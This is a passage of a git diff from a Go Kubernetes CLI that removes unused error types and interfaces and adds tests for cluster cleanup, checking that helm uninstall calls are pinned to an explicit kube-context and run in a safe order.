e.ConfigFile, e.Cause) - } - return fmt.Sprintf("configuration error: %v", e.Cause) -} - -// GetMissingKeys returns list of missing configuration keys -func (e *ConfigurationError) GetMissingKeys() []string { - return e.MissingKeys -} - -// NewConfigurationError creates a new configuration error -func NewConfigurationError(configFile, section string, cause error) *ConfigurationError { - return &ConfigurationError{ - ChartError: NewChartError("configuration", "validation", cause), - ConfigFile: configFile, - Section: section, - } -} - -// WithMissingKeys adds missing keys information -func (e *ConfigurationError) WithMissingKeys(keys []string) *ConfigurationError { - e.MissingKeys = keys - return e -} - -// Helper functions for common error patterns - -// IsTimeout checks if an error is timeout-related -func IsTimeout(err error) bool { - var chartErr *ChartError - if stderrors.As(err, &chartErr) { - return stderrors.Is(chartErr.Cause, ErrNetworkTimeout) - } - return false -} - -// IsRecoverable checks if an error is recoverable -func IsRecoverable(err error) bool { - var chartErr *ChartError - if stderrors.As(err, &chartErr) { - return chartErr.IsRecoverable() - } - return false -} - -// GetRetryDelay gets the retry delay for recoverable errors -func GetRetryDelay(err error) time.Duration { - var chartErr *ChartError - if stderrors.As(err, &chartErr) && chartErr.IsRecoverable() { - return chartErr.GetRetryAfter() - } - return 0 -} - // WrapAsChartError wraps a generic error as a chart error func WrapAsChartError(operation, component string, err error) *ChartError { var chartErr *ChartError @@ -235,45 +129,3 @@ func WrapAsChartError(operation, component string, err error) *ChartError { } return NewChartError(operation, component, err) } - -// SkippedInstallationError represents when installation is skipped (not an actual error) -type SkippedInstallationError struct { - Component string - Reason string -} - -// Error implements the error interface -func (e *SkippedInstallationError) Error() string { - return fmt.Sprintf("%s installation skipped: %s", e.Component, e.Reason) -} - -// IsSkipped returns true, indicating this is a skipped installation -func (e *SkippedInstallationError) IsSkipped() bool { - return true -} - -// CombineErrors combines multiple errors into a single error message -func CombineErrors(errors []error) error { - if len(errors) == 0 { - return nil - } - - if len(errors) == 1 { - return errors[0] - } - - var messages []string - for _, err := range errors { - if err != nil { - messages = append(messages, err.Error()) - } - } - - return fmt.Errorf("multiple errors occurred: %v", messages) -} - -// IsSkippedInstallation checks if an error is a skipped installation -func IsSkippedInstallation(err error) bool { - var target *SkippedInstallationError - return stderrors.As(err, &target) -} diff --git a/internal/chart/utils/errors/chart_errors_test.go b/internal/chart/utils/errors/chart_errors_test.go index a8315118..44fcc440 100644 --- a/internal/chart/utils/errors/chart_errors_test.go +++ b/internal/chart/utils/errors/chart_errors_test.go @@ -87,54 +87,6 @@ func TestChartError_Unwrap(t *testing.T) { assert.Equal(t, cause, unwrapped) } -func TestNewInstallationError(t *testing.T) { - cause := errors.New("installation failed") - instErr := NewInstallationError("ArgoCD", "helm-install", cause) - - assert.NotNil(t, instErr) - assert.NotNil(t, instErr.ChartError) - assert.Equal(t, "installation", instErr.Operation) - assert.Equal(t, "ArgoCD", instErr.Component) - assert.Equal(t, "helm-install", instErr.Phase) - assert.Equal(t, cause, instErr.Cause) -} - -func TestInstallationError_Error(t *testing.T) { - cause := errors.New("installation failed") - instErr := NewInstallationError("ArgoCD", "helm-install", cause) - - errorMsg := instErr.Error() - assert.Contains(t, errorMsg, "installation") - assert.Contains(t, errorMsg, "ArgoCD") - assert.Contains(t, errorMsg, "helm-install") -} - -func TestInstallationError_GetTroubleshootingSteps(t *testing.T) { - cause := errors.New("installation failed") - instErr := NewInstallationError("ArgoCD", "helm-install", cause) - - steps := instErr.GetTroubleshootingSteps() - assert.NotEmpty(t, steps) - assert.Contains(t, steps[0], "kubectl cluster-info") - assert.Contains(t, steps[1], "kubectl top nodes") - assert.Contains(t, steps[2], "helm version") -} - -func TestInstallationError_WithSuggestions(t *testing.T) { - cause := errors.New("installation failed") - instErr := NewInstallationError("ArgoCD", "helm-install", cause) - suggestions := []string{"Check network connectivity", "Verify permissions"} - - result := instErr.WithSuggestions(suggestions) - - assert.Equal(t, instErr, result) - assert.Equal(t, suggestions, instErr.Suggestions) - - steps := instErr.GetTroubleshootingSteps() - assert.Contains(t, steps, "Check network connectivity") - assert.Contains(t, steps, "Verify permissions") -} - func TestNewValidationError(t *testing.T) { valErr := NewValidationError("github-repo", "", "URL is required") @@ -156,57 +108,6 @@ func TestValidationError_Error(t *testing.T) { assert.Contains(t, errorMsg, "must be valid URL") } -func TestNewConfigurationError(t *testing.T) { - cause := errors.New("missing key") - configErr := NewConfigurationError("values.yaml", "database", cause) - - assert.NotNil(t, configErr) - assert.Equal(t, "configuration", configErr.Operation) - assert.Equal(t, "validation", configErr.Component) - assert.Equal(t, "values.yaml", configErr.ConfigFile) - assert.Equal(t, "database", configErr.Section) - assert.Equal(t, cause, configErr.Cause) -} - -func TestConfigurationError_WithMissingKeys(t *testing.T) { - cause := errors.New("missing keys") - configErr := NewConfigurationError("values.yaml", "database", cause) - missingKeys := []string{"host", "port", "password"} - - result := configErr.WithMissingKeys(missingKeys) - - assert.Equal(t, configErr, result) - assert.Equal(t, missingKeys, configErr.GetMissingKeys()) -} - -func TestIsTimeout(t *testing.T) { - timeoutErr := NewChartError("network", "connection", ErrNetworkTimeout) - normalErr := NewChartError("installation", "helm", errors.New("normal error")) - - assert.True(t, IsTimeout(timeoutErr)) - assert.False(t, IsTimeout(normalErr)) - assert.False(t, IsTimeout(errors.New("regular error"))) -} - -func TestIsRecoverable(t *testing.T) { - recoverableErr := NewRecoverableChartError("installation", "helm", errors.New("temporary"), 10*time.Second) - normalErr := NewChartError("installation", "helm", errors.New("permanent")) - - assert.True(t, IsRecoverable(recoverableErr)) - assert.False(t, IsRecoverable(normalErr)) - assert.False(t, IsRecoverable(errors.New("regular error"))) -} - -func TestGetRetryDelay(t *testing.T) { - retryAfter := 15 * time.Second - recoverableErr := NewRecoverableChartError("installation", "helm", errors.New("temporary"), retryAfter) - normalErr := NewChartError("installation", "helm", errors.New("permanent")) - - assert.Equal(t, retryAfter, GetRetryDelay(recoverableErr)) - assert.Equal(t, time.Duration(0), GetRetryDelay(normalErr)) - assert.Equal(t, time.Duration(0), GetRetryDelay(errors.New("regular error"))) -} - func TestWrapAsChartError(t *testing.T) { // Test wrapping regular error normalErr := errors.New("test error") @@ -223,30 +124,3 @@ func TestWrapAsChartError(t *testing.T) { assert.Equal(t, chartErr, wrapped2) // Should return same instance } - -func TestCombineErrors(t *testing.T) { - // Test with no errors - result := CombineErrors([]error{}) - assert.Nil(t, result) - - // Test with single error - err1 := errors.New("error 1") - result = CombineErrors([]error{err1}) - assert.Equal(t, err1, result) - - // Test with multiple errors - err2 := errors.New("error 2") - err3 := errors.New("error 3") - result = CombineErrors([]error{err1, err2, err3}) - assert.NotNil(t, result) - assert.Contains(t, result.Error(), "multiple errors occurred") - assert.Contains(t, result.Error(), "error 1") - assert.Contains(t, result.Error(), "error 2") - assert.Contains(t, result.Error(), "error 3") - - // Test with nil errors mixed in - result = CombineErrors([]error{err1, nil, err2}) - assert.NotNil(t, result) - assert.Contains(t, result.Error(), "error 1") - assert.Contains(t, result.Error(), "error 2") -} diff --git a/internal/chart/utils/types/configuration.go b/internal/chart/utils/types/configuration.go index 432bce78..a1b0fb61 100644 --- a/internal/chart/utils/types/configuration.go +++ b/internal/chart/utils/types/configuration.go @@ -3,7 +3,6 @@ package types import ( "time" - "github.com/flamingo-stack/openframe-cli/internal/chart/models" ) // DockerRegistryConfig holds Docker registry settings @@ -78,8 +77,3 @@ type ChartConfiguration struct { IngressConfig *IngressConfig // nil means use existing, otherwise use this value } -// GetRepositoryURL returns the platform repository URL. Only the OSS (oss-tenant) -// deployment is supported, so this always returns the public OSS repository. -func GetRepositoryURL() string { - return models.RepoOSSTenant -} diff --git a/internal/chart/utils/types/interfaces.go b/internal/chart/utils/types/interfaces.go index 912ffb42..6f50c42d 100644 --- a/internal/chart/utils/types/interfaces.go +++ b/internal/chart/utils/types/interfaces.go @@ -2,23 +2,17 @@ package types import ( "context" - "time" "github.com/flamingo-stack/openframe-cli/internal/chart/models" - "github.com/flamingo-stack/openframe-cli/internal/chart/providers/git" "github.com/flamingo-stack/openframe-cli/internal/chart/utils/config" clusterDomain "github.com/flamingo-stack/openframe-cli/internal/cluster/models" "k8s.io/client-go/rest" ) -// Core Service Interfaces - -// ChartInstaller orchestrates the complete chart installation process -type ChartInstaller interface { - InstallCharts(config config.ChartInstallConfig) error -} - -// Provider Interfaces +// This file keeps ONLY the interfaces that are actually implemented and +// consumed. It used to declare 13 — a speculative service-locator layer +// (ServiceFactory, ServiceOrchestrator, WorkflowExecutor, OperationsUI, ...) +// with zero implementations or callers (audit B7). // ClusterLister provides cluster listing capabilities type ClusterLister interface { @@ -36,14 +30,6 @@ type ClusterAccess interface { GetRestConfig(name string) (*rest.Config, error) } -// GitProvider manages Git repository operations -type GitProvider interface { - CloneChartRepository(ctx context.Context, config *models.AppOfAppsConfig) (*git.CloneResult, error) - Cleanup(tempDir string) -} - -// Service Component Interfaces - // ArgoCDService manages ArgoCD installation and lifecycle type ArgoCDService interface { Install(ctx context.Context, config config.ChartInstallConfig) error @@ -59,84 +45,6 @@ type AppOfAppsService interface { GetStatus(ctx context.Context, namespace string) (models.ChartInfo, error) } -// Configuration Interfaces - -// ConfigBuilder constructs installation configurations -type ConfigBuilder interface { - BuildInstallConfig(force, dryRun, verbose bool, clusterName string, - githubRepo, githubBranch, certDir string) (config.ChartInstallConfig, error) -} - -// PathResolver resolves configuration and certificate paths -type PathResolver interface { - GetCertificateDirectory() string - GetCertificateFiles() (certFile, keyFile string) - GetHelmValuesFile() string -} - -// UI Interfaces - -// ClusterSelector provides cluster selection capabilities -type ClusterSelector interface { - SelectCluster(clusters []clusterDomain.ClusterInfo, args []string) (string, error) -} - -// OperationsUI provides user interface operations for chart management -type OperationsUI interface { - SelectClusterForInstall(clusters []clusterDomain.ClusterInfo, args []string) (string, error) - ShowOperationCancelled(operation string) - ShowNoClusterMessage() - ConfirmInstallation(clusterName string) (bool, error) - ConfirmInstallationOnCluster(clusterName string) (bool, error) - ShowInstallationStart(clusterName string) - ShowInstallationComplete() - ShowInstallationError(err error) - PromptForGitHubCredentials(repoURL string) (username, token string, err error) -} - -// Orchestration Interfaces - -// ServiceOrchestrator manages the coordination of services -type ServiceOrchestrator interface { - ExecuteInstallation(req InstallationRequest) error -} - -// WorkflowExecutor executes complex workflows with step tracking -type WorkflowExecutor interface { - Execute() *WorkflowResult - AddStep(name, description string, execute func() error, required bool) -} - -// Factory Interfaces - -// ServiceFactory creates service instances with proper dependency injection -type ServiceFactory interface { - CreateInstaller() ChartInstaller - CreateConfigBuilder() ConfigBuilder - CreateClusterSelector(clusterLister ClusterLister) ClusterSelector - GetOperationsUI() OperationsUI -} - -// Result Types for Orchestration - -// WorkflowResult represents the result of a workflow execution -type WorkflowResult struct { - Success bool - Error error - Steps []StepResult - TotalTime time.Duration - ClusterName string -} - -// StepResult represents the result of a workflow step -type StepResult struct { - StepName string - Success bool - Error error - Duration time.Duration - Timestamp time.Time -} - // InstallationRequest contains all parameters for chart installation type InstallationRequest struct { Args []string @@ -145,14 +53,32 @@ type InstallationRequest struct { Verbose bool GitHubRepo string GitHubBranch string - // GitHubRefExplicit is true when the operator explicitly set --ref/--github-branch. + // GitHubRefExplicit is true when the operator explicitly set --ref. // When set, GitHubBranch is pinned into the helm values (repository.branch) so it // wins over the values-file branch and both the app-of-apps clone and the child // Applications' targetRevision track that ref. GitHubRefExplicit bool CertDir string - NonInteractive bool // Skip all prompts, use existing openframe-helm-values.yaml - KubeConfig *rest.Config // Kubernetes REST config for cluster communication + NonInteractive bool // Skip all prompts, use existing openframe-helm-values.yaml + // RequireExistingValues makes a missing openframe-helm-values.yaml a hard + // error instead of "deploy chart defaults". Set by upgrade (Mode 1): an + // upgrade with an empty values map would replace the release values with + // chart defaults, silently wiping registry credentials and ingress settings + // when run from the wrong directory (audit F3/T1-2). Fresh installs and + // bootstrap keep the defaults-with-warning behavior — a clean machine has no + // values file yet. + RequireExistingValues bool + // SyncStragglersOnStall: on the upgrade (ref-change) path, let the + // application wait sync OutOfSync-but-healthy stragglers once progress + // stalls (children with autoSync off never pick a new ref up themselves). + SyncStragglersOnStall bool + KubeConfig *rest.Config // Kubernetes REST config for cluster communication + // KubeContext is the kube-context name KubeConfig was resolved from + // (--context or the interactive target selector). When set, every helm CLI + // call targets it too, so the helm CLI, the native client checks, and the + // ArgoCD wait all watch the SAME cluster (audit F4: three different targets + // could be used within a single install). + KubeContext string // ClusterAccess resolves clusters and their rest.Config for the install // target. Injected by the composition root so the app subsystem never imports // cluster-creation code (req 18/19). Required for interactive/named-cluster diff --git a/internal/chart/utils/types/interfaces_test.go b/internal/chart/utils/types/interfaces_test.go index 461d06e6..0ba06a00 100644 --- a/internal/chart/utils/types/interfaces_test.go +++ b/internal/chart/utils/types/interfaces_test.go @@ -2,90 +2,10 @@ package types import ( "testing" - "time" "github.com/stretchr/testify/assert" ) -func TestWorkflowResult_DefaultValues(t *testing.T) { - result := &WorkflowResult{} - - assert.False(t, result.Success) - assert.Nil(t, result.Error) - assert.Nil(t, result.Steps) - assert.Equal(t, time.Duration(0), result.TotalTime) - assert.Empty(t, result.ClusterName) -} - -func TestWorkflowResult_WithValues(t *testing.T) { - steps := []StepResult{ - { - StepName: "step1", - Success: true, - Duration: 10 * time.Second, - Timestamp: time.Now(), - }, - } - - result := &WorkflowResult{ - Success: true, - Error: nil, - Steps: steps, - TotalTime: 30 * time.Second, - ClusterName: "test-cluster", - } - - assert.True(t, result.Success) - assert.Nil(t, result.Error) - assert.Equal(t, steps, result.Steps) - assert.Equal(t, 30*time.Second, result.TotalTime) - assert.Equal(t, "test-cluster", result.ClusterName) - assert.Len(t, result.Steps, 1) - assert.Equal(t, "step1", result.Steps[0].StepName) -} - -func TestStepResult_DefaultValues(t *testing.T) { - step := &StepResult{} - - assert.Empty(t, step.StepName) - assert.False(t, step.Success) - assert.Nil(t, step.Error) - assert.Equal(t, time.Duration(0), step.Duration) - assert.True(t, step.Timestamp.IsZero()) -} - -func TestStepResult_WithValues(t *testing.T) { - timestamp := time.Now() - step := &StepResult{ - StepName: "prerequisite-check", - Success: true, - Error: nil, - Duration: 5 * time.Second, - Timestamp: timestamp, - } - - assert.Equal(t, "prerequisite-check", step.StepName) - assert.True(t, step.Success) - assert.Nil(t, step.Error) - assert.Equal(t, 5*time.Second, step.Duration) - assert.Equal(t, timestamp, step.Timestamp) -} - -func TestStepResult_WithError(t *testing.T) { - err := assert.AnError - step := &StepResult{ - StepName: "helm-install", - Success: false, - Error: err, - Duration: 15 * time.Second, - } - - assert.Equal(t, "helm-install", step.StepName) - assert.False(t, step.Success) - assert.Equal(t, err, step.Error) - assert.Equal(t, 15*time.Second, step.Duration) -} - func TestInstallationRequest_DefaultValues(t *testing.T) { req := &InstallationRequest{} @@ -139,54 +59,6 @@ func TestInstallationRequest_WithMultipleArgs(t *testing.T) { assert.Equal(t, "develop", req.GitHubBranch) } -func TestWorkflowResult_WithMultipleSteps(t *testing.T) { - now := time.Now() - steps := []StepResult{ - { - StepName: "prerequisites", - Success: true, - Duration: 2 * time.Second, - Timestamp: now.Add(-10 * time.Second), - }, - { - StepName: "cluster-selection", - Success: true, - Duration: 1 * time.Second, - Timestamp: now.Add(-8 * time.Second), - }, - { - StepName: "helm-install", - Success: false, - Error: assert.AnError, - Duration: 5 * time.Second, - Timestamp: now.Add(-3 * time.Second), - }, - } - - result := &WorkflowResult{ - Success: false, // Overall failure due to last step - Error: assert.AnError, - Steps: steps, - TotalTime: 8 * time.Second, - ClusterName: "production-cluster", - } - - assert.False(t, result.Success) - assert.NotNil(t, result.Error) - assert.Len(t, result.Steps, 3) - assert.Equal(t, 8*time.Second, result.TotalTime) - assert.Equal(t, "production-cluster", result.ClusterName) - - // Check individual steps - assert.True(t, result.Steps[0].Success) - assert.Equal(t, "prerequisites", result.Steps[0].StepName) - assert.True(t, result.Steps[1].Success) - assert.Equal(t, "cluster-selection", result.Steps[1].StepName) - assert.False(t, result.Steps[2].Success) - assert.Equal(t, "helm-install", result.Steps[2].StepName) - assert.NotNil(t, result.Steps[2].Error) -} - func TestInstallationRequest_EmptyArgs(t *testing.T) { req := &InstallationRequest{ Args: []string{}, @@ -200,72 +72,10 @@ func TestInstallationRequest_EmptyArgs(t *testing.T) { assert.Equal(t, "main", req.GitHubBranch) } -func TestWorkflowResult_SuccessfulCompletion(t *testing.T) { - steps := []StepResult{ - { - StepName: "prerequisites", - Success: true, - Duration: 1 * time.Second, - Timestamp: time.Now().Add(-5 * time.Second), - }, - { - StepName: "installation", - Success: true, - Duration: 3 * time.Second, - Timestamp: time.Now().Add(-2 * time.Second), - }, - { - StepName: "verification", - Success: true, - Duration: 1 * time.Second, - Timestamp: time.Now(), - }, - } - - result := &WorkflowResult{ - Success: true, - Error: nil, - Steps: steps, - TotalTime: 5 * time.Second, - ClusterName: "development-cluster", - } - - assert.True(t, result.Success) - assert.Nil(t, result.Error) - assert.Len(t, result.Steps, 3) - assert.Equal(t, 5*time.Second, result.TotalTime) - assert.Equal(t, "development-cluster", result.ClusterName) - - // Verify all steps succeeded - for _, step := range result.Steps { - assert.True(t, step.Success) - assert.Nil(t, step.Error) - assert.NotEmpty(t, step.StepName) - assert.Greater(t, step.Duration, time.Duration(0)) - } -} - // Test interface completeness by verifying struct field counts func TestStructFieldCounts(t *testing.T) { // These tests help ensure we don't accidentally remove fields without updating tests - // WorkflowResult should have 5 fields - result := WorkflowResult{} - _ = result.Success - _ = result.Error - _ = result.Steps - _ = result.TotalTime - _ = result.ClusterName - // If we add/remove fields, this will cause compilation errors - - // StepResult should have 5 fields - step := StepResult{} - _ = step.StepName - _ = step.Success - _ = step.Error - _ = step.Duration - _ = step.Timestamp - // InstallationRequest should have 7 fields req := InstallationRequest{} _ = req.Args diff --git a/internal/chart/utils/types/repository_url_test.go b/internal/chart/utils/types/repository_url_test.go deleted file mode 100644 index 090f37bc..00000000 --- a/internal/chart/utils/types/repository_url_test.go +++ /dev/null @@ -1,13 +0,0 @@ -package types - -import "testing" - -// TestGetRepositoryURL pins the platform repository URL. The CLI supports only -// the OSS (oss-tenant) deployment, so this must always be the public OSS repo -// with no embedded credentials. -func TestGetRepositoryURL(t *testing.T) { - const want = "https://github.com/flamingo-stack/openframe-oss-tenant" - if got := GetRepositoryURL(); got != want { - t.Errorf("GetRepositoryURL() = %q, want %q", got, want) - } -} diff --git a/internal/cluster/cleanup_finalizers_test.go b/internal/cluster/cleanup_finalizers_test.go new file mode 100644 index 00000000..ca4d110f --- /dev/null +++ b/internal/cluster/cleanup_finalizers_test.go @@ -0,0 +1,131 @@ +package cluster + +import ( + "context" + "fmt" + "testing" + "time" + + "github.com/flamingo-stack/openframe-cli/internal/cluster/models" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// recordingCleaner records the order in which the cleanup phases call it, +// appending to a shared trace so it can be interleaved with the helm calls. +type recordingCleaner struct { + trace *[]string + deleteErr error + clearErr error + deleted int + cleared int + deleteCall int + clearCall int +} + +func (r *recordingCleaner) DeleteApplications(context.Context) (int, error) { + r.deleteCall++ + *r.trace = append(*r.trace, "delete-applications") + return r.deleted, r.deleteErr +} + +func (r *recordingCleaner) RemoveApplicationFinalizers(context.Context) (int, error) { + r.clearCall++ + *r.trace = append(*r.trace, "clear-finalizers") + return r.cleared, r.clearErr +} + +// tracingExecutor records helm uninstalls into the same trace as the cleaner. +type tracingExecutor struct { + *executor.MockCommandExecutor + trace *[]string +} + +func (t *tracingExecutor) Execute(ctx context.Context, name string, args ...string) (*executor.CommandResult, error) { + if name == "helm" && len(args) > 0 && args[0] == "uninstall" { + *t.trace = append(*t.trace, "helm-uninstall") + } + return t.MockCommandExecutor.Execute(ctx, name, args...) +} + +func newTracingExecutor(trace *[]string) *tracingExecutor { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("helm list", &executor.CommandResult{ + ExitCode: 0, + Stdout: `[{"name":"argo-cd","namespace":"argocd"}]`, + Duration: time.Millisecond, + }) + return &tracingExecutor{MockCommandExecutor: mock, trace: trace} +} + +// TestCleanup_ApplicationPhasesBracketTheHelmUninstall locks the ordering the +// whole fix depends on: ArgoCD Applications are deleted while the controller +// still runs (so it cascades workload cleanup), and their resources-finalizer +// is stripped only AFTER the helm uninstall removed the controller — nothing +// else can clear it, so a Terminating CR would otherwise pin the namespace. +func TestCleanup_ApplicationPhasesBracketTheHelmUninstall(t *testing.T) { + var trace []string + exec := newTracingExecutor(&trace) + cleaner := &recordingCleaner{trace: &trace, deleted: 3, cleared: 2} + + service := NewClusterService(exec).WithApplicationCleaner(cleaner) + _, _ = service.CleanupCluster(context.Background(), "test-cluster", models.ClusterTypeK3d, false, false) + + require.GreaterOrEqual(t, len(trace), 3, "trace: %v", trace) + assert.Equal(t, "delete-applications", trace[0], "applications must be deleted first: %v", trace) + + helmIdx, clearIdx := -1, -1 + for i, step := range trace { + switch step { + case "helm-uninstall": + if helmIdx == -1 { + helmIdx = i + } + case "clear-finalizers": + clearIdx = i + } + } + require.NotEqual(t, -1, helmIdx, "helm uninstall must run: %v", trace) + require.NotEqual(t, -1, clearIdx, "finalizers must be cleared: %v", trace) + assert.Greater(t, clearIdx, helmIdx, + "finalizers must be stripped AFTER the ArgoCD controller is uninstalled: %v", trace) + + assert.Equal(t, 1, cleaner.deleteCall) + assert.Equal(t, 1, cleaner.clearCall) +} + +// TestCleanup_WithoutCleanerStillRuns: the cleaner is optional — a cluster +// without OpenFrame (or an unreachable one) must still get the helm/namespace/ +// docker phases rather than failing. +func TestCleanup_WithoutCleanerStillRuns(t *testing.T) { + var trace []string + exec := newTracingExecutor(&trace) + + service := NewClusterService(exec) // no cleaner injected + _, err := service.CleanupCluster(context.Background(), "test-cluster", models.ClusterTypeK3d, false, false) + require.NoError(t, err) + assert.Contains(t, trace, "helm-uninstall", "helm phase must still run: %v", trace) + assert.NotContains(t, trace, "delete-applications") + assert.NotContains(t, trace, "clear-finalizers") +} + +// TestCleanup_CleanerErrorsAreNonFatal: the platform-cleanup phases are +// best-effort — a cluster where ArgoCD was never installed (or the API errors) +// must not abort the rest of the cleanup. +func TestCleanup_CleanerErrorsAreNonFatal(t *testing.T) { + var trace []string + exec := newTracingExecutor(&trace) + cleaner := &recordingCleaner{ + trace: &trace, + deleteErr: fmt.Errorf("no argocd CRD"), + clearErr: fmt.Errorf("no argocd CRD"), + } + + service := NewClusterService(exec).WithApplicationCleaner(cleaner) + _, err := service.CleanupCluster(context.Background(), "test-cluster", models.ClusterTypeK3d, false, false) + require.NoError(t, err, + "cleaner failures must not fail the cleanup") + assert.Contains(t, trace, "helm-uninstall", "helm phase must still run after a cleaner error: %v", trace) + assert.Equal(t, 1, cleaner.clearCall, "the finalizer phase must run even if the delete phase failed") +} diff --git a/internal/cluster/cleanup_helm_test.go b/internal/cluster/cleanup_helm_test.go new file mode 100644 index 00000000..1f0a84ab --- /dev/null +++ b/internal/cluster/cleanup_helm_test.go @@ -0,0 +1,163 @@ +package cluster + +import ( + "context" + "testing" + "time" + + "github.com/flamingo-stack/openframe-cli/internal/cluster/models" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// helmArgvsOf returns the argv of every helm invocation recorded by the mock. +func helmArgvsOf(mock *executor.MockCommandExecutor) [][]string { + var out [][]string + for _, rc := range mock.Commands() { + if rc.Name == "helm" { + out = append(out, rc.Args) + } + } + return out +} + +// hasFlagValue reports whether argv contains the flag immediately followed by value. +func hasFlagValue(argv []string, flag, value string) bool { + for i := 0; i+1 < len(argv); i++ { + if argv[i] == flag && argv[i+1] == value { + return true + } + } + return false +} + +// TestCleanupHelmReleases_PinsKubeContext is the T0-1 regression guard: every +// helm call issued by cleanup must carry --kube-context for the cluster being +// cleaned. Without the pin, helm acts on the kubeconfig's CURRENT context — +// switching context to a production cluster and running `cluster cleanup` +// would uninstall every release there. +func TestCleanupHelmReleases_PinsKubeContext(t *testing.T) { + mock := executor.NewMockCommandExecutor() + // Real `helm list --output json` emits a single-line JSON array. + mock.SetResponse("helm list", &executor.CommandResult{ + ExitCode: 0, + Stdout: `[{"name":"argo-cd","namespace":"argocd","status":"deployed"},{"name":"openframe","namespace":"openframe","status":"deployed"}]`, + Duration: time.Millisecond, + }) + service := NewClusterService(mock) + + _, err := service.cleanupHelmReleases(context.Background(), "k3d-test-cluster", false, false) + require.NoError(t, err) + + argvs := helmArgvsOf(mock) + require.NotEmpty(t, argvs, "cleanup must invoke helm") + for _, argv := range argvs { + assert.Truef(t, hasFlagValue(argv, "--kube-context", "k3d-test-cluster"), + "every helm call must pin --kube-context k3d-test-cluster, got: %v", argv) + } + + // Both releases are uninstalled, each in its own namespace. + var uninstalls [][]string + for _, argv := range argvs { + if len(argv) > 0 && argv[0] == "uninstall" { + uninstalls = append(uninstalls, argv) + } + } + require.Len(t, uninstalls, 2, "one uninstall per listed release") + assert.Equal(t, "argo-cd", uninstalls[0][1]) + assert.True(t, hasFlagValue(uninstalls[0], "--namespace", "argocd")) + assert.Equal(t, "openframe", uninstalls[1][1]) + assert.True(t, hasFlagValue(uninstalls[1], "--namespace", "openframe")) + + // No --wait, ever: app-of-apps Application CRs carry ArgoCD's + // resources-finalizer, and with the controller itself being uninstalled + // --wait would block for helm's default 5m per release. + for _, argv := range uninstalls { + assert.NotContainsf(t, argv, "--wait", "cleanup uninstall must be fire-and-forget: %v", argv) + } +} + +// TestCleanupHelmReleases_ForceAddsIgnoreNotFound locks the force-mode flag. +func TestCleanupHelmReleases_ForceAddsIgnoreNotFound(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("helm list", &executor.CommandResult{ + ExitCode: 0, + Stdout: `[{"name":"argo-cd","namespace":"argocd"}]`, + Duration: time.Millisecond, + }) + service := NewClusterService(mock) + + _, err := service.cleanupHelmReleases(context.Background(), "k3d-x", false, true) + require.NoError(t, err) + + found := false + for _, argv := range helmArgvsOf(mock) { + if len(argv) > 0 && argv[0] == "uninstall" { + found = true + assert.Contains(t, argv, "--ignore-not-found") + } + } + assert.True(t, found, "expected an uninstall call") +} + +// TestCleanupHelmReleases_EmptyList: nothing to uninstall on "[]" or empty output. +func TestCleanupHelmReleases_EmptyList(t *testing.T) { + for name, stdout := range map[string]string{"empty-array": "[]", "blank": ""} { + t.Run(name, func(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("helm list", &executor.CommandResult{ExitCode: 0, Stdout: stdout, Duration: time.Millisecond}) + service := NewClusterService(mock) + + _, err := service.cleanupHelmReleases(context.Background(), "k3d-x", false, false) + require.NoError(t, err) + for _, argv := range helmArgvsOf(mock) { + assert.NotEqual(t, "uninstall", argv[0], "no uninstall may run for an empty release list") + } + }) + } +} + +// TestCleanupHelmReleases_RefusesWithoutContext: a missing kube-context must be +// a hard error, never a fall-through to the current context. +func TestCleanupHelmReleases_RefusesWithoutContext(t *testing.T) { + mock := executor.NewMockCommandExecutor() + service := NewClusterService(mock) + + _, err := service.cleanupHelmReleases(context.Background(), "", false, false) + require.Error(t, err) + assert.Zero(t, mock.GetCommandCount(), "no command may run without an explicit kube-context") +} + +// TestCleanupHelmReleases_GarbageOutputErrors: unparseable helm output must +// surface as an error instead of being half-parsed (the old code split the +// JSON on ":" and produced garbage namespaces). +func TestCleanupHelmReleases_GarbageOutputErrors(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("helm list", &executor.CommandResult{ExitCode: 0, Stdout: "not json", Duration: time.Millisecond}) + service := NewClusterService(mock) + + _, err := service.cleanupHelmReleases(context.Background(), "k3d-x", false, false) + require.Error(t, err) + for _, argv := range helmArgvsOf(mock) { + assert.NotEqual(t, "uninstall", argv[0], "no uninstall may run on unparseable output") + } +} + +// TestCleanupCluster_HelmPhasePinsKubeContext exercises the full CleanupCluster +// entry point: whatever context resolution yields, the helm phase must never +// issue a helm call without --kube-context. +func TestCleanupCluster_HelmPhasePinsKubeContext(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("helm list", &executor.CommandResult{ExitCode: 0, Stdout: "[]", Duration: time.Millisecond}) + service := NewClusterService(mock) + + // K8s/Docker phases run against the mock too and are allowed to no-op/fail. + _, _ = service.CleanupCluster(context.Background(), "test-cluster", models.ClusterTypeK3d, false, false) + + argvs := helmArgvsOf(mock) + require.NotEmpty(t, argvs, "cleanup must reach the helm phase") + for _, argv := range argvs { + assert.Containsf(t, argv, "--kube-context", "helm call without --kube-context: %v", argv) + } +} diff --git a/internal/cluster/cleanup_result_test.go b/internal/cluster/cleanup_result_test.go new file mode 100644 index 00000000..c86b3871 --- /dev/null +++ b/internal/cluster/cleanup_result_test.go @@ -0,0 +1,65 @@ +package cluster + +import ( + "context" + "testing" + "time" + + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// TestCleanupHelmReleases_CountsAndReportsPartialFailure (M2.1): a release that +// fails to uninstall must NOT be counted as removed, and the phase must report +// the failure. Cleanup used to return nil unconditionally, so the summary +// printed "Freed up disk space" whether or not anything was freed. +func TestCleanupHelmReleases_CountsAndReportsPartialFailure(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("helm list", &executor.CommandResult{ + ExitCode: 0, + Stdout: `[{"name":"argo-cd","namespace":"argocd"},{"name":"openframe","namespace":"openframe"}]`, + Duration: time.Millisecond, + }) + // One of the two uninstalls fails. + mock.SetResponse("helm uninstall openframe", &executor.CommandResult{ + ExitCode: 1, + Stderr: "release: not found", + Duration: time.Millisecond, + }) + service := NewClusterService(mock) + + removed, err := service.cleanupHelmReleases(context.Background(), "k3d-test", false, false) + + 